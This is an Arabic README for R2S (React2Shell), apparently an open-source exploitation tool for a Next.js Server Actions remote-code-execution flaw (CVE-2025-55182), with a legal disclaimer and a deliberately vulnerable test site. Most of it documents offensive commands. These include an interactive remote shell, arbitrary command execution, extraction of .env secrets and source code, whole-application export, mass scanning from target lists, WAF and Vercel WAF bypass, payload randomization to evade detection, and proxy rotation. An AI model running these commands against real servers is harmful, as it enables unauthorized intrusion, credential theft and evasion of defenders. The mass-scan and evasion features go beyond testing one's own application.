
أداة متقدمة لاختبار الأمان لتقييم ثغرة CVE-2025-55182 في تطبيقات Next.js. تتضمن شلًا تفاعليًا، وفحصًا جماعيًا، وتجاوز WAF، وتقارير شاملة.
أداة متقدمة لاختبار الاستغلال لتقييم الثغرة CVE-2025-55182
الميزات • التثبيت • الاستخدام • بيئة الاختبار • إخلاء المسؤولية القانوني
R2S (React2Shell) هي أداة لاختبار الأمان صُممت لمساعدة باحثي الأمان والمطورين ومختبري الاختراق في تقييم ما إذا كانت تطبيقات Next.js الخاصة بهم معرّضة للثغرة CVE-2025-55182.
CVE-2025-55182 هي ثغرة حرجة تؤثر على Server Actions في Next.js في إصدارات معينة (مثل 16.0.5). تسمح هذه الثغرة للمهاجمين بتنفيذ أوامر تعسفية على الخادم عبر Server Actions غير المؤمَّنة بشكل صحيح، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
يساعدك R2S في التحقق مما إذا كان تطبيقك يعاني من هذه المشكلة حتى تتمكن من إصلاحها قبل أن يكتشفها المهاجمون.
--windows)⚠️ تحذير حرج: قد تؤدي علامة --windows إلى فشل الأداة في تحديد وجود الثغرة إذا استُخدمت بشكل غير صحيح.
--windows: فقط إذا كنت متأكدًا 100% أن الخادم المستهدف يعمل بنظام Windows--windows على خادم Linux، ستفشل الأوامر وقد تُبلغ الأداة بأنها "غير معرّضة للثغرة" حتى لو كان الخادم معرّضًا لها--windows إلا إذا كنت تعلم أن الهدف يعمل بنظام Windowsمثال:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
## ⚠️ إخلاء مسؤولية قانوني
**هام: اقرأ هذا قبل استخدام هذه الأداة**
1. **هذه الأداة مخصصة لاختبارات الأمان المشروعة فقط**
- ✅ اختبر تطبيقاتك الخاصة
- ✅ اختبر التطبيقات التي لديك إذن كتابي لاختبارها
- ✅ للأغراض التعليمية والبحث الأمني
- ❌ **لا تستخدمها أبدًا على أنظمة لا تملكها أو ليس لديك إذن لاختبارها**
- ❌ **لا تستخدمها أبدًا لأغراض ضارة**
2. **باستخدامك لهذه الأداة، فإنك توافق على ما يلي:**
- لن تستخدمها إلا على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها
- أنك تدرك أن الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني
- أنك تتحمل المسؤولية الكاملة عن أفعالك
- المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه الأداة
3. **العواقب القانونية:**
- الوصول غير المصرح به إلى أنظمة الحاسوب جريمة في معظم البلدان
- قد تتعرض لتهم جنائية وغرامات والسجن
- احصل دائمًا على إذن كتابي قبل الاختبار
4. **هذه الأداة مقدمة "كما هي" دون أي ضمان من أي نوع**
**إذا كنت دون سن 18، فتأكد من وجود إشراف وإذن من شخص بالغ قبل استخدام هذه الأداة.**
---
## ✨ الميزات
### القدرات الأساسية
- 🔍 **اكتشاف الثغرات الأمنية** - اختبر بسرعة ما إذا كان الخادم عرضة للثغرة CVE-2025-55182
- 💻 **واجهة أوامر تفاعلية** - جلسة واجهة أوامر تفاعلية كاملة عبر HTTPS مع سجل الأوامر
- 📁 **عمليات الملفات** - سرد الدلائل، وقراءة الملفات، وتصدير الملفات/الأرشيفات
- 🔐 **استخراج الأسرار** - محاولة قراءة أسرار التطبيق (ملفات .env، ملفات الإعدادات)
- 📄 **استخراج الكود المصدري** - محاولة قراءة الكود المصدري للتطبيق
- 🖥️ **معلومات النظام** - جمع معلومات نظام التشغيل، اسم المضيف، المستخدم، ومتغيرات البيئة
### الميزات المتقدمة
- 🚀 **الحمولات المُسخَّنة تلقائيًا** - تحسين الحمولات تلقائيًا للحصول على أفضل النتائج
- ⚡ **تنفيذ متوازٍ** - تشغيل أوامر متعددة في وقت واحد
- 🎲 **عشوائية الحمولات** - تفادي الاكتشاف باستخدام حمولات ديناميكية
- 🛠️ **وحدات الاستغلال** - نظام وحدات بأسلوب Metasploit (env_dump، file_search، network_scan، process_list)
- 🔄 **معالجة إعادة التوجيه** - تتبع إعادة توجيه HTTP تلقائيًا (301، 302، 303، 307، 308)
- 🎨 **واجهة مستخدم جميلة** - إخراج ملوّن حسب الرموز لسهولة القراءة
- 📊 **تقارير شاملة** - حفظ التقارير تلقائيًا بصيغ JSON وHTML وTXT مع منسّقات خاصة بكل عملية
- ⚙️ **نظام الإعدادات** - إعدادات مبنية على JSON مع لوحة إعدادات تفاعلية
- 📦 **وظيفة التصدير** - تصدير ملفات فردية أو أدلة التطبيق بالكامل كأرشيفات zip
- 🔒 **تجاوز WAF** - تقنيات تجاوز متعددة (⚠️ غير مضمونة - راجع القيود أدناه)
### التقارير والسجلات
- 📝 **حفظ التقارير تلقائيًا** - حفظ التقارير تلقائيًا في `~/.r2s/reports/` مع طوابع زمنية سهلة القراءة
- 📋 **صيغ خاصة بالعمليات** - صيغ تقارير مختلفة لكل عملية (shell، test، secrets، إلخ)
- 📜 **سجل الأوامر** - سجل أوامر دائم محفوظ في `~/.r2s/history`
- 🔍 **مسارات التدقيق** - تسجيل مفصّل لجميع العمليات في `~/.r2s/logs/audit.log`
- 🎨 **تقارير HTML** - تقارير HTML جميلة مع وضع داكن/فاتح، وأزرار نسخ، وكتل أكواد
---
## 📦 التثبيت
### الخيار 1: البناء من المصدر (موصى به)
1. **استنساخ المستودع:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 البدء السريع
### اختبار الثغرات الأساسي```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ مهم: لا تستخدم --windows إلا إذا كنت متأكدًا أن الهدف يعمل بنظام ويندوز. استخدام --windows على خادم لينكس سيؤدي إلى نتائج سلبية خاطئة (قد تُبلغ الأداة بأن الخادم "غير معرّض للخطر" حتى لو كان معرّضًا بالفعل).
نوفر بيئة اختبار آمنة في **https://r2s-arena.fly.dev**:```bash
r2s -u https://r2s-arena.fly.dev -t
### الاختبار محليًا
انظر [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) للحصول على تعليمات تشغيل التطبيق القابل للاستغلال محليًا.
---
## 📚 أمثلة الاستخدام
### مرجع سريع للأوامر
**الأوامر الأكثر شيوعًا:**
- `r2s -u URL -t` - اختبار الثغرة (الأكثر شيوعًا)
- `r2s -u URL --shell` - بدء قشرة تفاعلية
- `r2s --targets FILE -t` - فحص مجمّع لعدة أهداف
- `r2s -u URL --system-info` - الحصول على معلومات النظام
- `r2s -u URL --secrets` - محاولة قراءة الأسرار
- `r2s -u URL --export-archive` - تصدير التطبيق بالكامل كملف zip
**⚠️ تذكّر**: لا تستخدم `--windows` إلا إذا كان الهدف يعمل بنظام ويندوز!
---
### العمليات الأساسية```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### وحدات الاستغلال```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### الأسرار واستخراج الأكواد```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### الخيارات المتقدمة```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### التسجيل والتدقيق```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### الإبلاغ```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. تدقيق الأمان```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
استخدم تطبيق nextjs المرفق لإجراء اختبار آمن ومحلي:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
انظر [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) للحصول على تعليمات مفصّلة.
---
## 🏗️ البنية المعمارية
تستخدم R2S بنية معيارية لسهولة الصيانة وقابلية التوسّع:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
انظر react2shell/README.md للحصول على توثيق معماري مفصّل.
نوفّر بيئة اختبار آمنة تُسمى nextjs يمكنك استخدامها لاختبار الأداة دون تعريض الأنظمة الحقيقية للخطر.
قم بزيارة: https://r2s-arena.fly.dev
هذا تطبيق متاح للعموم وهو معرّض للثغرات عمدًا لأغراض الاختبار فقط.
انظر nextjs/README.md للحصول على تعليمات تشغيله محليًا.
⚠️ مهم: تطبيق nextjs معرّض للثغرات عمدًا ويجب أبدًا استخدامه في بيئة الإنتاج أو مع بيانات حقيقية.
| Command | Description |
|---|---|
--export FILE, --ex FILE | تصدير ملف واحد من الهدف (يُحفظ في ~/.r2s/exports/{domain}/) |
--export-archive | تصدير كامل مجلد التطبيق كأرشيف zip. ينشئ ملف zip على الخادم، ينزّله، ثم يحذفه من الخادم. يستثني أنماط .gitignore. يُحفظ في ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Command | Description |
|---|---|
--module NAME | تنفيذ وحدة استغلال |
--module-list, --list-modules | عرض الوحدات المتاحة |
| Option | Description |
|---|---|
--output FILE, -o FILE | احفظ النتائج في ملف محدد (يعطّل الحفظ التلقائي) |
| Option | Description |
|---|---|
--targets FILE | امسح أهدافًا متعددة من ملف (URL واحد لكل سطر، يدعم التعليقات باستخدام #) |
--batch | وضع الدُفعات: تخطَّ جميع المطالبات التفاعلية، والمتابعة التلقائية (مفيد للأتمتة/البرامج النصية) |
| Command | Description |
|---|---|
r2s settings | فتح لوحة الإعدادات التفاعلية |
r2s cleanup | حذف جميع بيانات R2S (الإعدادات، السجل، السجلات، التقارير، الصادرات) |
r2s -u https://target.com -t --insecure
### "خطأ في الاتصال"
- تحقق من أن الخادم يعمل
- تحقق من صحة عنوان URL
- تحقق من إعدادات جدار الحماية
- جرّب زيادة المهلة: `--timeout 30`
### "تم حظر الطلب"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ هام: علامة أوامر Windows
إذا كنت تحصل على نتائج سلبية كاذبة (الأداة تقول "غير معرضة" لكن الهدف في الواقع معرض)، تحقق من:
هل استخدمت علامة --windows؟
--windows تجعل الأداة تستخدم أوامر Windows (PowerShell، dir، إلخ.)--windows سيؤدي إلى فشل الأداة--windows (Unix/Linux هو الافتراضي)كشف المنصة
--windows فقط إذا كنت متأكدًا 100% أن الهدف يعمل بنظام Windowsأمر الاختبار
echo $((41*271))--windows، يستخدم: powershell -c "41*271"مثال على المشكلة:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### قيود تجاوز WAF
**⚠️ مهم:** تقنيات تجاوز WAF في هذه الأداة **غير مضمونة** للعمل ولها عدة قيود:
- **ليست عالمية**: تستخدم أنظمة WAF المختلفة طرق كشف مختلفة. ما ينجح مع أحدها قد لا ينجح مع آخر.
- **الكشف الثابت**: تستخدم بعض أنظمة WAF مطابقة الأنماط الثابتة التي يمكن تجاوزها، لكن أنظمة WAF الحديثة تستخدم التحليل السلوكي.
- **تحديد المعدل**: تطبق العديد من أنظمة WAF تحديد المعدل الذي يمكن أن يحظر المحاولات المتكررة.
- **التعلم الآلي**: تستخدم أنظمة WAF المتقدمة نماذج التعلم الآلي التي تتكيف وتتعلم من أنماط الهجمات.
- **Cloudflare/AWS WAF**: أنظمة WAF على مستوى المؤسسات (Cloudflare وAWS WAF وغيرها) صعبة التجاوز للغاية.
- **لا توجد ضمانات**: تقنيات التجاوز تجريبية وقد تفشل ضد أنظمة WAF جيدة التكوين.
**أفضل الممارسات:**
- استخدم تجاوز WAF كخيار أخير
- جرّب استراتيجيات ترويسات مختلفة (`--header-strategy`)
- ادمجها مع `--randomize` للحصول على نتائج أفضل
- افهم أن بعض الأهداف قد يكون من المستحيل تجاوزها
- اختبر دائمًا على الأنظمة التي تملكها أو لديك إذن باختبارها
### مشكلات البناء```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
لإزالة جميع نواتج البناء بأمان (مجلدات البناء، ملفات الذاكرة المؤقتة، وما إلى ذلك):```bash ./build.sh cleanup
سيؤدي هذا إلى إزالة ما يلي:
- دليل `build/` (ملفات بناء PyInstaller)
- دليل `dist/` (ملفات ثنائية مترجمة)
- أدلة `__pycache__/` (ذاكرة التخزين المؤقت لبايثون، بشكل متكرر)
- ملفات `*.pyc` (الكود البايتي المترجم لبايثون)
- ملفات `*.pyo` (الكود البايتي المحسّن لبايثون)
- ملفات `*.spec` (ملفات مواصفات PyInstaller)
**ملاحظة:** هذا يزيل نواتج البناء فقط، وليس الكود المصدري الخاص بك. عملية التنظيف آمنة وستطلب التأكيد قبل المتابعة.
---
## 📁 هيكل الملفات```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
المساهمات مرحّب بها! يرجى:
تذكّر: ساهم فقط بالكود الذي يساعد في الاختبارات الأمنية المشروعة.
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
ومع ذلك، فإن استخدام هذه الأداة يخضع لإخلاء المسؤولية القانوني أعلاه. استخدام هذه الأداة للوصول غير المصرح به غير قانوني ولا يغطيه هذا الترخيص.
zamdevio
هذه الأداة مخصّصة لأغراض الاختبارات الأمنية والتعليم فقط.
ابقَ قانونيًا، وابقَ أخلاقيًا، وابقَ آمنًا! 🛡️
صُنع بكل ❤️ من أجل مجتمع الأمن
| Command | Description |
|---|
-u, --url URL | URL الهدف (مطلوب لمعظم العمليات) |
-t, --test | اختبر ما إذا كان الخادم معرّضًا للثغرات |
-ld, --list-dir PATH | اعرض محتويات المجلد |
-rf, --read-file FILE | اقرأ محتويات الملف |
-si, --system-info | احصل على معلومات النظام |
-sr, --secrets | حاول قراءة الأسرار |
-c, --code | حاول قراءة الكود المصدري |
-cmd, --command CMD | تنفيذ أمر مخصص |
--shell | بدء قشرة تفاعلية |
--module-info NAME | عرض معلومات الوحدة |
--set KEY=VALUE | تعيين خيار من خيارات الوحدة |
| Option | Description |
|---|
--waf-bypass | جرّب تقنيات تجاوز جدار الحماية WAF (⚠️ غير مضمون - راجع القيود أدناه) |
--waf-bypass-size KB | حجم بيانات الحشو لتجاوز WAF بالكيلوبايت (الافتراضي: 128) |
--vercel-waf-bypass | تفعيل تقنيات تجاوز WAF الخاصة بـ Vercel |
--header-strategy STRATEGY | استراتيجية ترويسات HTTP: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | تنفيذ N من الأوامر بالتوازي (مفيد لعدة أوامر) |
--auto-warm | تسخين الحمولات وتحسينها تلقائيًا قبل التنفيذ |
--randomize | عشوائية الحمولات لتفادي الكشف الثابت |
--no-follow-redirects | لا تتبع إعادة التوجيه HTTP تلقائيًا (301, 302, إلخ.) |
-k, --insecure | تعطيل التحقق من شهادة SSL (استخدم بحذر) |
--timeout SECONDS | مهلة الطلب بالثواني (الافتراضي: 10، استخدم 0 لعدم وجود مهلة) |
--windows | ⚠️ تحذير: استخدم أوامر Windows بدلاً من Unix/Linux. قد يتسبب ذلك في فشل الأداة في تحديد الثغرة إذا كان الهدف فعليًا Unix/Linux. استخدم هذا فقط إذا كنت متأكدًا أن الهدف يعمل بنظام Windows. |
--rate RATE | حدد الطلبات إلى RATE طلبًا في الثانية (مفيد للمسح الجماعي) |
--delay SECONDS | أضف تأخيرًا بين الطلبات بالثواني (يساعد في تجنب تحديد المعدل) |
--batch | وضع الدُفعات: تخطَّ جميع المطالبات التفاعلية، والمتابعة التلقائية (مفيد للأتمتة) |
--no-report |
| تعطيل الحفظ التلقائي للتقرير في ~/.r2s/reports/ |
--log FILE | سجّل جميع العمليات في الملف المحدد (سجل عمليات مفصّل) |
--audit | إنشاء سجل تدقيق مفصّل (يُحفظ في ~/.r2s/logs/audit.log) |
| Option | Description |
|---|
--proxy URL | استخدم وكيل HTTP (الصيغة: http://proxy:port أو http://user:pass@proxy:port) |
--proxy-file FILE | تحميل الوكلاء وتدويرها من ملف (وكيل واحد لكل سطر، الصيغة: http://proxy:port) |
--rate RATE | حدد الطلبات إلى RATE طلبًا في الثانية (يمنع إغراق الهدف) |
--delay SECONDS | أضف تأخيرًا بين الطلبات بالثواني (يساعد في تجنب تحديد المعدل) |
r2s uninstall | إلغاء تثبيت برنامج R2S وجميع البيانات |
r2s help | عرض رسالة المساعدة |